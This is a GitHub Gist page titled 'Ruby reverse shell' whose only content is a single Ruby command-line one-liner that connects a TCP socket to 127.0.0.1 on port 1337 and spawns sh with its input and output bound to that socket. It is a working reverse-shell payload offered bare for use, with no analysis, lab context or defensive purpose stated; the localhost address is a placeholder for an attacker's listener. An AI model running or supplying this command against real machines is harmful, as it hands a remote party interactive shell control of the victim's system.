Skip to content

Instantly share code, notes, and snippets.

@xfgusta
Last active April 9, 2021 05:41
Show Gist options
  • Save xfgusta/cfc8b4283fcfeabbfff3437ef6329916 to your computer and use it in GitHub Desktop.
Save xfgusta/cfc8b4283fcfeabbfff3437ef6329916 to your computer and use it in GitHub Desktop.
Ruby reverse shell
ruby -rsocket -e'spawn("sh",[0,1,2]=>TCPSocket.new("127.0.0.1",1337))'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment